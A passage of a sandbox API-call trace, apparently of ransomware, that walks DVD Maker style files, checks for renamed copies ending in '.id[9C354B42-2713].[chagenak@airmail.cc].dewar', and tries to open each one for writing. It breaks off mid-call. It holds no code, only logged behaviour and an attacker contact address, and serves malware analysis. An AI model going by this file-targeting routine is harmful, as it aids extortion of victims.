[0257.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 [0257.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.756] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=962) returned 1 [0257.756] CloseHandle (hObject=0x1e0) returned 1 [0257.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0257.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0257.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.758] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=716) returned 1 [0257.758] CloseHandle (hObject=0x1e0) returned 1 [0257.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0257.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0257.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.763] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=293917) returned 1 [0257.763] CloseHandle (hObject=0x1e0) returned 1 [0257.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0257.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0257.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.764] SetEvent (hEvent=0x118) returned 1 [0257.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.765] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=70262) returned 1 [0257.765] CloseHandle (hObject=0x1e0) returned 1 [0257.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png")) returned 0x20 [0257.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png")) returned 0x20 [0257.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.768] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=201323) returned 1 [0257.768] CloseHandle (hObject=0x1e0) returned 1 [0257.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png")) returned 0x20 [0257.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png")) returned 0x20 [0257.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.770] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=69268) returned 1 [0257.770] CloseHandle (hObject=0x1e0) returned 1 [0257.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv")) returned 0x20 [0257.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv")) returned 0x20 [0257.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.777] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=363512) returned 1 [0257.777] CloseHandle (hObject=0x1e0) returned 1 [0257.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png")) returned 0x20 [0257.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png")) returned 0x20 [0257.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.779] SetEvent (hEvent=0x118) returned 1 [0257.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.780] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=29268) returned 1 [0257.780] CloseHandle (hObject=0x1e0) returned 1 [0257.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv")) returned 0x20 [0257.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv")) returned 0x20 [0257.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.788] SetEvent (hEvent=0x118) returned 1 [0257.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.789] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=29268) returned 1 [0257.789] CloseHandle (hObject=0x1e0) returned 1 [0257.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv")) returned 0x20 [0257.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv")) returned 0x20 [0257.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.792] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4793) returned 1 [0257.792] CloseHandle (hObject=0x1e0) returned 1 [0257.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png")) returned 0x20 [0257.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png")) returned 0x20 [0257.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.797] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4813) returned 1 [0257.797] CloseHandle (hObject=0x1e0) returned 1 [0257.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png")) returned 0x20 [0257.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png")) returned 0x20 [0257.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.799] SetEvent (hEvent=0x118) returned 1 [0257.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.800] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=109292) returned 1 [0257.800] CloseHandle (hObject=0x1e0) returned 1 [0257.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv")) returned 0x20 [0257.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv")) returned 0x20 [0257.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.802] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=99127) returned 1 [0257.802] CloseHandle (hObject=0x1e0) returned 1 [0257.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png")) returned 0x20 [0257.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png")) returned 0x20 [0257.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.804] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3057) returned 1 [0257.804] CloseHandle (hObject=0x1e0) returned 1 [0257.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png")) returned 0x20 [0257.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png")) returned 0x20 [0257.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.810] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=25998) returned 1 [0257.810] CloseHandle (hObject=0x1e0) returned 1 [0257.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png")) returned 0x20 [0257.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png")) returned 0x20 [0257.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.811] SetEvent 